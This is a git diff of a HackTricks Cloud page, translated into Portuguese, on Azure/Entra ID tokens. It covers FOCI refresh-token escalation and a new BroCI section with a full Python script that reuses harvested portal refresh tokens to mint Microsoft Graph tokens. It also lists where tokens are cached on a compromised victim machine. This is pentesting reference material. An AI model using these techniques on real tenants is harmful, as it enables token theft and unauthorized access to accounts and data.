mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-28 14:47:17 -07:00
Translated ['', 'src/pentesting-cloud/azure-security/az-services/az-azur
This commit is contained in:
+391
-60
@@ -1,4 +1,4 @@
|
||||
# Az - Tokens & Public Applications
|
||||
# Az - Tokens & Aplicações Públicas
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -8,79 +8,79 @@ Entra ID é a plataforma de identity and access management (IAM) baseada em nuve
|
||||
|
||||
### OAuth
|
||||
|
||||
**Participantes chave no OAuth 2.0:**
|
||||
**Principais Participantes no OAuth 2.0:**
|
||||
|
||||
1. **Servidor de Recursos (RS):** Protege recursos pertencentes ao proprietário do recurso.
|
||||
2. **Proprietário do Recurso (RO):** Tipicamente um usuário final que possui os recursos protegidos.
|
||||
3. **Aplicação Cliente (CA):** Uma aplicação que busca acesso a recursos em nome do proprietário do recurso.
|
||||
4. **Servidor de Autorização (AS):** Emite access tokens para aplicações clientes após autenticar e autorizar elas.
|
||||
1. **Resource Server (RS):** Protege recursos pertencentes ao resource owner.
|
||||
2. **Resource Owner (RO):** Tipicamente um usuário final que possui os recursos protegidos.
|
||||
3. **Client Application (CA):** Uma aplicação que busca acessar recursos em nome do resource owner.
|
||||
4. **Authorization Server (AS):** Emite access tokens para aplicações clientes após autenticar e autorizar elas.
|
||||
|
||||
**Escopos e Consentimento:**
|
||||
**Scopes e Consentimento:**
|
||||
|
||||
- **Escopos:** Permissões granulares definidas no servidor de recursos que especificam níveis de acesso.
|
||||
- **Consentimento:** O processo pelo qual um proprietário do recurso concede a uma aplicação cliente permissão para acessar recursos com escopos específicos.
|
||||
- **Scopes:** Permissões granulares definidas no resource server que especificam níveis de acesso.
|
||||
- **Consentimento:** O processo pelo qual um resource owner concede a uma client application permissão para acessar recursos com scopes específicos.
|
||||
|
||||
**Integração com Microsoft 365:**
|
||||
|
||||
- Microsoft 365 utiliza Azure AD para IAM e é composto por múltiplas aplicações OAuth "first-party".
|
||||
- Essas aplicações são profundamente integradas e frequentemente têm relações de serviço interdependentes.
|
||||
- Para simplificar a experiência do usuário e manter a funcionalidade, a Microsoft concede "implied consent" ou "pre-consent" a essas aplicações first-party.
|
||||
- **Implied Consent:** Certas aplicações são automaticamente **concedidas acesso a escopos específicos sem aprovação explícita do usuário ou do administrador**.
|
||||
- Esses escopos pre-consentidos normalmente ficam ocultos tanto para usuários quanto para administradores, tornando-os menos visíveis nas interfaces de gerenciamento padrão.
|
||||
- **Implied Consent:** Certas aplicações são automaticamente **concedidas acesso a scopes específicos sem aprovação explícita do usuário ou administrador**.
|
||||
- Esses scopes pré-consentidos tipicamente ficam ocultos tanto de usuários quanto de administradores, tornando-os menos visíveis nas interfaces de gerenciamento padrão.
|
||||
|
||||
**Tipos de Aplicações Cliente:**
|
||||
**Tipos de Client Application:**
|
||||
|
||||
1. **Clientes Confidenciais:**
|
||||
- Possuem suas próprias credenciais (ex.: senhas ou certificados).
|
||||
- Podem **autenticar-se com segurança** no servidor de autorização.
|
||||
2. **Clientes Públicos:**
|
||||
1. **Confidential Clients:**
|
||||
- Possuem suas próprias credenciais (ex.: passwords ou certificados).
|
||||
- Podem **autenticar-se com segurança** ao authorization server.
|
||||
2. **Public Clients:**
|
||||
- Não possuem credenciais únicas.
|
||||
- Não conseguem autenticar-se de forma segura no servidor de autorização.
|
||||
- **Implicação de Segurança:** Um atacante pode se passar por uma aplicação cliente pública ao solicitar tokens, já que não há mecanismo para o servidor de autorização verificar a legitimidade da aplicação.
|
||||
- Não podem autenticar-se com segurança ao authorization server.
|
||||
- **Implicação de Segurança:** Um atacante pode se passar por uma public client application ao requisitar tokens, pois não existe um mecanismo para o authorization server verificar a legitimidade da aplicação.
|
||||
|
||||
## Tokens de Autenticação
|
||||
|
||||
Existem **três tipos de tokens** usados no OIDC:
|
||||
Existem **três tipos de tokens** usados em OIDC:
|
||||
|
||||
- [**Access Tokens**](https://learn.microsoft.com/en-us/azure/active-directory/develop/access-tokens)**:** O cliente apresenta este token ao servidor de recursos para **acessar recursos**. Pode ser usado apenas para uma combinação específica de usuário, client e recurso e **não pode ser revogado** até expirar — isto é 1 hora por padrão.
|
||||
- **ID Tokens**: O cliente recebe este token do servidor de autorização. Contém informações básicas sobre o usuário. Está **vinculado a uma combinação específica de usuário e cliente**.
|
||||
- **Refresh Tokens**: Fornecido ao cliente junto com o access token. Usado para **obter novos access e ID tokens**. Está vinculado a uma combinação específica de usuário e cliente e pode ser revogado. A expiração padrão é **90 dias** para refresh tokens inativos e **sem expiração para tokens ativos** (a partir de um refresh token é possível obter novos refresh tokens).
|
||||
- Um refresh token deveria estar vinculado a um **`aud`**, a alguns **scopes**, e a um **tenant**, e ele deveria somente conseguir gerar access tokens para aquele aud, scopes (e nada mais) e tenant. Contudo, isso não é o caso com os **FOCI applications tokens**.
|
||||
- [**Access Tokens**](https://learn.microsoft.com/en-us/azure/active-directory/develop/access-tokens)**:** O cliente apresenta esse token ao resource server para **acessar recursos**. Pode ser usado apenas para uma combinação específica de usuário, client e resource e **não pode ser revogado** até expirar — isto é 1 hora por padrão.
|
||||
- **ID Tokens**: O cliente recebe esse **token do authorization server**. Contém informações básicas sobre o usuário. É **vinculado a uma combinação específica de usuário e client**.
|
||||
- **Refresh Tokens**: Fornecidos ao cliente junto com o access token. Usados para **obter novos access e ID tokens**. São vinculados a uma combinação específica de usuário e client e podem ser revogados. A expiração padrão é **90 dias** para refresh tokens inativos e **sem expiração para tokens ativos** (a partir de um refresh token é possível obter novos refresh tokens).
|
||||
- Um refresh token deve estar atrelado a um **`aud`**, a alguns **scopes**, e a um **tenant** e só deve ser capaz de gerar access tokens para aquele aud, scopes (e nada mais) e tenant. Porém, isso não acontece com os tokens de aplicações **FOCI**.
|
||||
- Um refresh token é criptografado e somente a Microsoft pode descriptografá-lo.
|
||||
- Obter um novo refresh token não revoga o refresh token anterior.
|
||||
|
||||
> [!WARNING]
|
||||
> Informação para **acesso condicional** é **armazenada** dentro do **JWT**. Então, se você solicitar o **token a partir de um endereço IP permitido**, esse **IP** será **armazenado** no token e então você pode usar esse token a partir de um **IP não permitido para acessar os recursos**.
|
||||
> Informações para **acesso condicional** são **armazenadas** dentro do **JWT**. Então, se você requisitar o **token a partir de um endereço IP permitido**, esse **IP** será **armazenado** no token e então você pode usar esse token a partir de um **IP não permitido para acessar os recursos**.
|
||||
|
||||
### Access Tokens "aud"
|
||||
|
||||
O campo indicado em "aud" é o **servidor de recursos** (a aplicação) usado para realizar o login.
|
||||
O campo indicado no campo "aud" é o **resource server** (a aplicação) usado para realizar o login.
|
||||
|
||||
O comando `az account get-access-token --resource-type [...]` suporta os seguintes tipos e cada um deles adicionará um "aud" específico no access token resultante:
|
||||
|
||||
> [!CAUTION]
|
||||
> Observe que os itens abaixo são apenas as APIs suportadas por `az account get-access-token`, mas existem mais.
|
||||
> Note que os seguintes são apenas as APIs suportadas por `az account get-access-token`, mas existem mais.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>exemplos de aud</summary>
|
||||
<summary>aud examples</summary>
|
||||
|
||||
- **aad-graph (Azure Active Directory Graph API)**: Usado para acessar a legada Azure AD Graph API (obsoleta), que permite que aplicações leiam e escrevam dados de diretório no Azure Active Directory (Azure AD).
|
||||
- **aad-graph (Azure Active Directory Graph API)**: Usado para acessar a legacy Azure AD Graph API (deprecated), que permite às aplicações ler e escrever dados de diretório no Azure Active Directory (Azure AD).
|
||||
- `https://graph.windows.net/`
|
||||
|
||||
* **arm (Azure Resource Manager)**: Usado para gerenciar recursos do Azure através da Azure Resource Manager API. Isso inclui operações como criar, atualizar e excluir recursos como máquinas virtuais, contas de armazenamento e mais.
|
||||
* **arm (Azure Resource Manager)**: Usado para gerenciar recursos do Azure através da Azure Resource Manager API. Isso inclui operações como criar, atualizar e deletar recursos como virtual machines, storage accounts e mais.
|
||||
- `https://management.core.windows.net/ or https://management.azure.com/`
|
||||
|
||||
- **batch (Azure Batch Services)**: Usado para acessar o Azure Batch, um serviço que permite executar aplicações de computação paralela e de alto desempenho em larga escala na nuvem.
|
||||
- **batch (Azure Batch Services)**: Usado para acessar Azure Batch, um serviço que permite aplicações de computação paralela e de alto desempenho em grande escala na nuvem.
|
||||
- `https://batch.core.windows.net/`
|
||||
|
||||
* **data-lake (Azure Data Lake Storage)**: Usado para interagir com o Azure Data Lake Storage Gen1, que é um serviço escalável de armazenamento de dados e análise.
|
||||
* **data-lake (Azure Data Lake Storage)**: Usado para interagir com Azure Data Lake Storage Gen1, que é um serviço escalável de armazenamento de dados e analytics.
|
||||
- `https://datalake.azure.net/`
|
||||
|
||||
- **media (Azure Media Services)**: Usado para acessar o Azure Media Services, que fornece processamento e entrega de mídia na nuvem para conteúdo de vídeo e áudio.
|
||||
- **media (Azure Media Services)**: Usado para acessar Azure Media Services, que fornece processamento e entrega de mídia na nuvem para conteúdo de vídeo e áudio.
|
||||
- `https://rest.media.azure.net`
|
||||
|
||||
* **ms-graph (Microsoft Graph API)**: Usado para acessar a Microsoft Graph API, o endpoint unificado para dados dos serviços Microsoft 365. Permite acessar dados e insights de serviços como Azure AD, Office 365, Enterprise Mobility e serviços de Segurança.
|
||||
* **ms-graph (Microsoft Graph API)**: Usado para acessar a Microsoft Graph API, o endpoint unificado para dados dos serviços Microsoft 365. Permite acessar dados e insights de serviços como Azure AD, Office 365, Enterprise Mobility e Security services.
|
||||
- `https://graph.microsoft.com`
|
||||
|
||||
- **oss-rdbms (Azure Open Source Relational Databases)**: Usado para acessar serviços de Database do Azure para engines relacionais open-source como MySQL, PostgreSQL e MariaDB.
|
||||
@@ -90,11 +90,11 @@ O comando `az account get-access-token --resource-type [...]` suporta os seguint
|
||||
|
||||
### Access Tokens Scopes "scp"
|
||||
|
||||
O escopo de um access token é armazenado dentro da chave scp dentro do access token JWT. Esses escopos definem a que o access token tem acesso.
|
||||
O escopo de um access token é armazenado dentro da chave scp dentro do JWT do access token. Esses scopes definem a que o access token tem acesso.
|
||||
|
||||
Se um JWT tem permissão para contatar uma API específica, mas **não possui o scope** para executar a ação solicitada, ele **não será capaz de executar a ação** com esse JWT.
|
||||
Se um JWT está autorizado a contatar uma API específica mas **não tem o scope** para executar a ação requerida, ele **não conseguirá executar a ação** com aquele JWT.
|
||||
|
||||
### Get refresh & access token example
|
||||
### Exemplo de obtenção de refresh & access token
|
||||
```python
|
||||
# Code example from https://github.com/secureworks/family-of-client-ids-research
|
||||
import msal
|
||||
@@ -146,30 +146,30 @@ pprint(new_azure_cli_bearer_tokens_for_graph_api)
|
||||
```
|
||||
### Outros campos do access token
|
||||
|
||||
- **appid**: ID da aplicação usado para gerar o token
|
||||
- **appidacr**: O Application Authentication Context Class Reference indica como o client foi autenticado — para um public client o valor é 0, e se um client secret for usado o valor é 1
|
||||
- **acr**: A claim Authentication Context Class Reference é "0" quando a autenticação do usuário final não atendeu aos requisitos da ISO/IEC 29115.
|
||||
- **amr**: O método de autenticação indica como o token foi autenticado. Um valor "pwd" indica que uma password foi usada.
|
||||
- **appid**: Application ID usada para gerar o token
|
||||
- **appidacr**: The Application Authentication Context Class Reference indica como o client foi autenticado; para um public client o valor é 0, e se um client secret foi usado o valor é 1
|
||||
- **acr**: The Authentication Context Class Reference claim é "0" quando a autenticação do usuário final não atendeu aos requisitos da ISO/IEC 29115.
|
||||
- **amr**: Indica como o token foi autenticado. Um valor de “pwd” indica que uma senha foi usada.
|
||||
- **groups**: Indica os grupos dos quais o principal é membro.
|
||||
- **iss**: O iss identifica o security token service (STS) que gerou o token. e.g. https://sts.windows.net/fdd066e1-ee37-49bc-b08f-d0e152119b04/ (o uuid é o tenant ID)
|
||||
- **iss**: O issuer identifica o security token service (STS) que gerou o token. e.g. https://sts.windows.net/fdd066e1-ee37-49bc-b08f-d0e152119b04/ (the uuid is the tenant ID)
|
||||
- **oid**: O object ID do principal
|
||||
- **tid**: Tenant ID
|
||||
- **iat, nbf, exp**: Emitido em (quando foi emitido), Not before (não pode ser usado antes desse horário, normalmente mesmo valor que iat), Expiration time (tempo de expiração).
|
||||
- **iat, nbf, exp**: Issued at (quando foi emitido), Not before (não pode ser usado antes deste momento, normalmente mesmo valor que iat), Expiration time (tempo de expiração).
|
||||
|
||||
|
||||
## FOCI Tokens Privilege Escalation
|
||||
## Escalonamento de privilégios com FOCI Tokens
|
||||
|
||||
Anteriormente foi mencionado que refresh tokens deveriam estar vinculados aos **scopes** com os quais foram gerados, à **application** e ao **tenant** a que foram destinados. Se qualquer uma dessas fronteiras for quebrada, é possível escalar privilégios, pois será possível gerar access tokens para outros recursos e tenants a que o usuário tem acesso e com mais scopes do que o originalmente pretendido.
|
||||
Anteriormente foi mencionado que refresh tokens devem estar vinculados aos **scopes** com que foram gerados, à **application** e ao **tenant** para os quais foram gerados. Se alguma dessas fronteiras for quebrada, é possível escalar privilégios, pois será possível gerar access tokens para outros recursos e tenants aos quais o usuário tem acesso e com mais scopes do que o originalmente pretendido.
|
||||
|
||||
Além disso, **isso é possível com todos os refresh tokens** na [Microsoft identity platform](https://learn.microsoft.com/en-us/entra/identity-platform/) (Microsoft Entra accounts, Microsoft personal accounts, and social accounts like Facebook and Google) porque, como as [**docs**](https://learn.microsoft.com/en-us/entra/identity-platform/refresh-tokens) mencionam: "Refresh tokens are bound to a combination of user and client, but **aren't tied to a resource or tenant**. A client can use a refresh token to acquire access tokens **across any combination of resource and tenant** where it has permission to do so. Refresh tokens are encrypted and only the Microsoft identity platform can read them."
|
||||
Além disso, **isso é possível com todos os refresh tokens** na [Microsoft identity platform](https://learn.microsoft.com/en-us/entra/identity-platform/) (Microsoft Entra accounts, Microsoft personal accounts, and social accounts like Facebook and Google) porque como os [**docs**](https://learn.microsoft.com/en-us/entra/identity-platform/refresh-tokens) mencionam: "Refresh tokens are bound to a combination of user and client, but **aren't tied to a resource or tenant**. A client can use a refresh token to acquire access tokens **across any combination of resource and tenant** where it has permission to do so. Refresh tokens are encrypted and only the Microsoft identity platform can read them."
|
||||
|
||||
Além disso, note que as aplicações FOCI são aplicações públicas, então **no secret is needed** para autenticar no servidor.
|
||||
Além disso, note que as aplicações FOCI são public applications, então **nenhum secret é necessário** para autenticar ao servidor.
|
||||
|
||||
Os clientes FOCI conhecidos relatados na [**original research**](https://github.com/secureworks/family-of-client-ids-research/tree/main) podem ser [**found here**](https://github.com/secureworks/family-of-client-ids-research/blob/main/known-foci-clients.csv).
|
||||
Os FOCI clients conhecidos reportados na [**original research**](https://github.com/secureworks/family-of-client-ids-research/tree/main) podem ser [**found here**](https://github.com/secureworks/family-of-client-ids-research/blob/main/known-foci-clients.csv).
|
||||
|
||||
### Obter escopo diferente
|
||||
### Get different scope
|
||||
|
||||
Seguindo o código de exemplo anterior, neste código é requisitado um novo token para um escopo diferente:
|
||||
Seguindo o código de exemplo anterior, neste código é solicitado um novo token para um scope diferente:
|
||||
```python
|
||||
# Code from https://github.com/secureworks/family-of-client-ids-research
|
||||
azure_cli_bearer_tokens_for_outlook_api = (
|
||||
@@ -202,30 +202,361 @@ scopes=["https://graph.microsoft.com/.default"],
|
||||
# How is this possible?
|
||||
pprint(microsoft_office_bearer_tokens_for_graph_api)
|
||||
```
|
||||
## NAA / BroCI (Nested App Authentication / Broker Client Injection)
|
||||
|
||||
A BroCI refresh tokens é um padrão de troca de token brokered onde um refresh token existente é usado com parâmetros adicionais do broker para solicitar tokens como outro first-party app confiável.
|
||||
|
||||
These refresh tokens must be minted in that broker context (a regular refresh token usually cannot be used as a BroCI refresh token).
|
||||
|
||||
### Goal and purpose
|
||||
|
||||
O objetivo do BroCI é reutilizar uma sessão de usuário válida de uma cadeia de apps com suporte a broker e solicitar tokens para outro par app/recurso confiável. Portanto, permitindo "escalar privilégios" a partir do token original.
|
||||
|
||||
Do ponto de vista ofensivo, isso importa porque:
|
||||
|
||||
- Pode desbloquear caminhos de first-party app pré-consentidos que não são acessíveis com trocas de refresh padrão.
|
||||
- Pode retornar access tokens para APIs de alto valor (por exemplo, Microsoft Graph) sob identidades de app com permissões delegadas amplas.
|
||||
- Expande as oportunidades de pivot pós-autenticação com tokens além da troca clássica de clientes FOCI.
|
||||
|
||||
O que muda em um NAA/BroCI refresh token não é o formato visível do token, mas o **contexto de emissão** e os metadados relacionados ao broker que a Microsoft valida durante operações de refresh brokered.
|
||||
|
||||
NAA/BroCI token exchanges não são a mesma coisa que uma troca OAuth refresh regular.
|
||||
|
||||
- Um refresh token regular (por exemplo obtido via device code flow) geralmente é válido para operações padrão `grant_type=refresh_token`.
|
||||
- Uma requisição BroCI inclui contexto adicional do broker (`brk_client_id`, broker `redirect_uri`, e `origin`).
|
||||
- A Microsoft valida se o refresh token apresentado foi emitido em um contexto brokered correspondente.
|
||||
- Portanto, muitos refresh tokens "normais" falham em requisições BroCI com erros como `AADSTS900054` ("Specified Broker Client ID does not match ID in provided grant").
|
||||
- Geralmente você não pode "converter" um refresh token normal em um válido para BroCI via código.
|
||||
- Você precisa de um refresh token já emitido por um fluxo brokered compatível.
|
||||
|
||||
Check the web <https://entrascopes.com/> to find BroCI configured apps an the trust relationships they have.
|
||||
|
||||
|
||||
### Mental model
|
||||
|
||||
Pense no BroCI como:
|
||||
|
||||
`user session -> brokered refresh token issuance -> brokered refresh call (brk_client_id + redirect_uri + origin) -> access token for target trusted app/resource`
|
||||
|
||||
Se qualquer parte dessa cadeia de broker não coincidir, a troca falha.
|
||||
|
||||
### Where to find a BroCI-valid refresh token
|
||||
|
||||
Uma maneira prática é coletar o tráfego do portal no navegador:
|
||||
|
||||
1. Sign in to `https://entra.microsoft.com` (or Azure portal).
|
||||
2. Open DevTools -> Network.
|
||||
3. Filter for:
|
||||
- `oauth2/v2.0/token`
|
||||
- `management.core.windows.net`
|
||||
4. Identify the brokered token response and copy `refresh_token`.
|
||||
5. Use that refresh token with matching BroCI parameters (`brk_client_id`, `redirect_uri`, `origin`) when requesting tokens for target apps (for example ADIbizaUX / Microsoft_Azure_PIMCommon scenarios).
|
||||
|
||||
### Common errors
|
||||
|
||||
- `AADSTS900054`: The refresh token context does not match the supplied broker tuple (`brk_client_id` / `redirect_uri` / `origin`) or the token is not from a brokered portal flow.
|
||||
- `AADSTS7000218`: The selected client flow expects a confidential credential (`client_secret`/assertion), often seen when trying device code with a non-public client.
|
||||
|
||||
<details>
|
||||
<summary>Python BroCI refresh helper (broci_auth.py)</summary>
|
||||
```python
|
||||
#!/usr/bin/env python3
|
||||
"""
|
||||
Python implementation of EntraTokenAid Broci refresh flow.
|
||||
|
||||
Equivalent to Invoke-Refresh in EntraTokenAid.psm1 with support for:
|
||||
- brk_client_id
|
||||
- redirect_uri
|
||||
- Origin header
|
||||
|
||||
Usage:
|
||||
python3 broci_auth.py --refresh-token "<REFRESH_TOKEN>"
|
||||
|
||||
How to obtain a Broci-valid refresh token (authorized testing only):
|
||||
1) Open https://entra.microsoft.com and sign in.
|
||||
2) Open browser DevTools -> Network.
|
||||
3) Filter requests for:
|
||||
- "oauth2/v2.0/token"
|
||||
- "management.core.windows.net"
|
||||
4) Locate the portal broker token response and copy the "refresh_token" value
|
||||
(the flow should be tied to https://management.core.windows.net//).
|
||||
5) Use that token with this script and Broci params:
|
||||
|
||||
python3 broci_auth.py \
|
||||
--refresh-token "<PORTAL_BROKER_REFRESH_TOKEN>" \
|
||||
--client-id "74658136-14ec-4630-ad9b-26e160ff0fc6" \
|
||||
--tenant "organizations" \
|
||||
--api "graph.microsoft.com" \
|
||||
--scope ".default offline_access" \
|
||||
--brk-client-id "c44b4083-3bb0-49c1-b47d-974e53cbdf3c" \
|
||||
--redirect-uri "brk-c44b4083-3bb0-49c1-b47d-974e53cbdf3c://entra.microsoft.com" \
|
||||
--origin "https://entra.microsoft.com" \
|
||||
--token-out
|
||||
"""
|
||||
|
||||
import argparse
|
||||
import base64
|
||||
import datetime as dt
|
||||
import json
|
||||
import re
|
||||
import sys
|
||||
import urllib.error
|
||||
import urllib.parse
|
||||
import urllib.request
|
||||
from typing import Any
|
||||
|
||||
|
||||
GUID_RE = re.compile(
|
||||
r"^[0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12}$"
|
||||
)
|
||||
OIDC_SCOPES = {"offline_access", "openid", "profile", "email"}
|
||||
|
||||
|
||||
def resolve_api_scope_url(api: str, scope: str) -> str:
|
||||
"""
|
||||
Match Resolve-ApiScopeUrl behavior from the PowerShell module.
|
||||
"""
|
||||
if GUID_RE.match(api):
|
||||
base_resource = api
|
||||
elif api.lower().startswith("urn:") or "://" in api:
|
||||
base_resource = api
|
||||
else:
|
||||
base_resource = f"https://{api}"
|
||||
|
||||
base_resource = base_resource.rstrip("/")
|
||||
|
||||
resolved: list[str] = []
|
||||
for token in scope.split():
|
||||
if not token.strip():
|
||||
continue
|
||||
if "://" in token:
|
||||
resolved.append(token)
|
||||
elif token.lower().startswith("urn:"):
|
||||
resolved.append(token)
|
||||
elif token in OIDC_SCOPES:
|
||||
resolved.append(token)
|
||||
elif GUID_RE.match(token):
|
||||
resolved.append(f"{token}/.default")
|
||||
else:
|
||||
normalized = ".default" if token in {"default", ".default"} else token
|
||||
resolved.append(f"{base_resource}/{normalized}")
|
||||
|
||||
return " ".join(resolved)
|
||||
|
||||
|
||||
def parse_jwt_payload(jwt_token: str) -> dict[str, Any]:
|
||||
parts = jwt_token.split(".")
|
||||
if len(parts) != 3:
|
||||
raise ValueError("Invalid JWT format.")
|
||||
payload = parts[1]
|
||||
padding = "=" * ((4 - len(payload) % 4) % 4)
|
||||
decoded = base64.urlsafe_b64decode((payload + padding).encode("ascii"))
|
||||
return json.loads(decoded.decode("utf-8"))
|
||||
|
||||
|
||||
def refresh_broci_token(
|
||||
refresh_token: str,
|
||||
client_id: str,
|
||||
scope: str,
|
||||
api: str,
|
||||
tenant: str,
|
||||
user_agent: str,
|
||||
origin: str | None,
|
||||
brk_client_id: str | None,
|
||||
redirect_uri: str | None,
|
||||
disable_cae: bool,
|
||||
) -> dict[str, Any]:
|
||||
api_scope_url = resolve_api_scope_url(api=api, scope=scope)
|
||||
|
||||
headers = {
|
||||
"User-Agent": user_agent,
|
||||
"X-Client-Sku": "MSAL.Python",
|
||||
"X-Client-Ver": "1.31.0",
|
||||
"X-Client-Os": "win32",
|
||||
"Content-Type": "application/x-www-form-urlencoded",
|
||||
}
|
||||
if origin:
|
||||
headers["Origin"] = origin
|
||||
|
||||
body: dict[str, str] = {
|
||||
"grant_type": "refresh_token",
|
||||
"client_id": client_id,
|
||||
"scope": api_scope_url,
|
||||
"refresh_token": refresh_token,
|
||||
}
|
||||
if not disable_cae:
|
||||
body["claims"] = '{"access_token": {"xms_cc": {"values": ["CP1"]}}}'
|
||||
if brk_client_id:
|
||||
body["brk_client_id"] = brk_client_id
|
||||
if redirect_uri:
|
||||
body["redirect_uri"] = redirect_uri
|
||||
|
||||
data = urllib.parse.urlencode(body).encode("utf-8")
|
||||
token_url = f"https://login.microsoftonline.com/{tenant}/oauth2/v2.0/token"
|
||||
req = urllib.request.Request(token_url, data=data, headers=headers, method="POST")
|
||||
|
||||
try:
|
||||
with urllib.request.urlopen(req) as resp:
|
||||
raw = resp.read().decode("utf-8")
|
||||
except urllib.error.HTTPError as e:
|
||||
err_raw = e.read().decode("utf-8", errors="replace")
|
||||
try:
|
||||
err_json = json.loads(err_raw)
|
||||
short = err_json.get("error", "unknown_error")
|
||||
desc = err_json.get("error_description", err_raw)
|
||||
raise RuntimeError(f"{short}: {desc}") from None
|
||||
except json.JSONDecodeError:
|
||||
raise RuntimeError(f"HTTP {e.code}: {err_raw}") from None
|
||||
|
||||
tokens = json.loads(raw)
|
||||
if "access_token" not in tokens:
|
||||
raise RuntimeError("Token endpoint response did not include access_token.")
|
||||
return tokens
|
||||
|
||||
|
||||
def main() -> int:
|
||||
parser = argparse.ArgumentParser(
|
||||
description="Broci refresh flow in Python (EntraTokenAid Invoke-Refresh equivalent)."
|
||||
)
|
||||
parser.add_argument("--refresh-token", required=True, help="Refresh token (required).")
|
||||
parser.add_argument(
|
||||
"--client-id",
|
||||
default="04b07795-8ddb-461a-bbee-02f9e1bf7b46",
|
||||
help="Client ID (default: Azure CLI).",
|
||||
)
|
||||
parser.add_argument(
|
||||
"--scope",
|
||||
default=".default offline_access",
|
||||
help="Scopes (default: '.default offline_access').",
|
||||
)
|
||||
parser.add_argument(
|
||||
"--api", default="graph.microsoft.com", help="API resource (default: graph.microsoft.com)."
|
||||
)
|
||||
parser.add_argument("--tenant", default="common", help="Tenant (default: common).")
|
||||
parser.add_argument(
|
||||
"--user-agent",
|
||||
default="python-requests/2.32.3",
|
||||
help="User-Agent sent to token endpoint.",
|
||||
)
|
||||
parser.add_argument("--origin", default=None, help="Optional Origin header.")
|
||||
parser.add_argument(
|
||||
"--brk-client-id", default=None, help="Optional brk_client_id (Broci flow)."
|
||||
)
|
||||
parser.add_argument(
|
||||
"--redirect-uri", default=None, help="Optional redirect_uri (Broci flow)."
|
||||
)
|
||||
parser.add_argument(
|
||||
"--disable-cae",
|
||||
action="store_true",
|
||||
help="Disable CAE claims in token request.",
|
||||
)
|
||||
parser.add_argument(
|
||||
"--token-out",
|
||||
action="store_true",
|
||||
help="Print access/refresh tokens in output.",
|
||||
)
|
||||
parser.add_argument(
|
||||
"--disable-jwt-parsing",
|
||||
action="store_true",
|
||||
help="Do not parse JWT claims.",
|
||||
)
|
||||
|
||||
args = parser.parse_args()
|
||||
|
||||
print("[*] Sending request to token endpoint")
|
||||
try:
|
||||
tokens = refresh_broci_token(
|
||||
refresh_token=args.refresh_token,
|
||||
client_id=args.client_id,
|
||||
scope=args.scope,
|
||||
api=args.api,
|
||||
tenant=args.tenant,
|
||||
user_agent=args.user_agent,
|
||||
origin=args.origin,
|
||||
brk_client_id=args.brk_client_id,
|
||||
redirect_uri=args.redirect_uri,
|
||||
disable_cae=args.disable_cae,
|
||||
)
|
||||
except Exception as e:
|
||||
print(f"[!] Error: {e}", file=sys.stderr)
|
||||
return 1
|
||||
|
||||
expires_in = int(tokens.get("expires_in", 0))
|
||||
expiration_time = (dt.datetime.now() + dt.timedelta(seconds=expires_in)).isoformat(timespec="seconds")
|
||||
tokens["expiration_time"] = expiration_time
|
||||
|
||||
print(
|
||||
"[+] Got an access token and a refresh token"
|
||||
if tokens.get("refresh_token")
|
||||
else "[+] Got an access token (no refresh token requested)"
|
||||
)
|
||||
|
||||
if not args.disable_jwt_parsing:
|
||||
try:
|
||||
jwt_payload = parse_jwt_payload(tokens["access_token"])
|
||||
audience = jwt_payload.get("aud", "")
|
||||
print(f"[i] Audience: {audience} / Expires at: {expiration_time}")
|
||||
tokens["scp"] = jwt_payload.get("scp")
|
||||
tokens["tenant"] = jwt_payload.get("tid")
|
||||
tokens["user"] = jwt_payload.get("upn")
|
||||
tokens["client_app"] = jwt_payload.get("app_displayname")
|
||||
tokens["client_app_id"] = args.client_id
|
||||
tokens["auth_methods"] = jwt_payload.get("amr")
|
||||
tokens["ip"] = jwt_payload.get("ipaddr")
|
||||
tokens["audience"] = audience
|
||||
if isinstance(audience, str):
|
||||
tokens["api"] = re.sub(r"/$", "", re.sub(r"^https?://", "", audience))
|
||||
if "xms_cc" in jwt_payload:
|
||||
tokens["xms_cc"] = jwt_payload.get("xms_cc")
|
||||
except Exception as e:
|
||||
print(f"[!] JWT parse error: {e}", file=sys.stderr)
|
||||
return 1
|
||||
else:
|
||||
print(f"[i] Expires at: {expiration_time}")
|
||||
|
||||
if args.token_out:
|
||||
print("\nAccess Token:")
|
||||
print(tokens.get("access_token", ""))
|
||||
if tokens.get("refresh_token"):
|
||||
print("\nRefresh Token:")
|
||||
print(tokens["refresh_token"])
|
||||
|
||||
print("\nToken object (JSON):")
|
||||
print(json.dumps(tokens, indent=2))
|
||||
return 0
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
raise SystemExit(main())
|
||||
```
|
||||
</details>
|
||||
|
||||
## Onde encontrar tokens
|
||||
|
||||
Do ponto de vista de um atacante, é muito interessante saber onde é possível encontrar access and refresh tokens quando, por exemplo, o PC de uma vítima é comprometido:
|
||||
|
||||
- Dentro de **`<HOME>/.Azure`**
|
||||
- **`azureProfile.json`** contém informações sobre usuários logados no passado
|
||||
- **`clouds.config contains`** informações sobre subscriptions
|
||||
- **`azureProfile.json`** contém informações sobre usuários que fizeram login no passado
|
||||
- **`clouds.config contains`** contém informações sobre assinaturas
|
||||
- **`service_principal_entries.json`** contém credenciais de aplicações (tenant id, clients e secret). Apenas em Linux & macOS
|
||||
- **`msal_token_cache.json`** contém access tokens e refresh tokens. Apenas em Linux & macOS
|
||||
- **`service_principal_entries.bin`** e msal_token_cache.bin são usados no Windows e são criptografados com DPAPI
|
||||
- **`service_principal_entries.bin`** e **`msal_token_cache.bin`** são usados no Windows e são encriptados com DPAPI
|
||||
- **`msal_http_cache.bin`** é um cache de requisições HTTP
|
||||
- Carregue-o: `with open("msal_http_cache.bin", 'rb') as f: pickle.load(f)`
|
||||
- **`AzureRmContext.json`** contém informações sobre logins anteriores usando Az PowerShell (mas sem credenciais)
|
||||
- Dentro de **`C:\Users\<username>\AppData\Local\Microsoft\IdentityCache\*`** há vários arquivos `.bin` com **access tokens**, ID tokens e informações de conta criptografadas com o DPAPI do usuário.
|
||||
- É possível encontrar mais **access tokens** nos arquivos `.tbres` dentro de **`C:\Users\<username>\AppData\Local\Microsoft\TokenBroken\Cache\`**, que contêm um base64 criptografado com DPAPI contendo access tokens.
|
||||
